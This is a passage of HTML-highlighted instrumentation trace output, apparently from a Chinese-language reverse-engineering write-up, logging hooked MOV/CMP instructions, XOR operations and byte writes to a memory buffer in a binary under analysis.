class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001325]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x41</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000b05: mov esi, <span class="number">0</span>x21</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000b0a: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000b20: cmp esi, <span class="number">0</span>x43</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x53</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000f0c: mov esi, <span class="number">0</span>x2a</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000f26: cmp esi, <span class="number">0</span>x55</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000f20]</span> MEM<span class="selector-attr">[0x2003f4a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2C</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000c1d: mov esi, <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[XOR @0x1000c31]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span 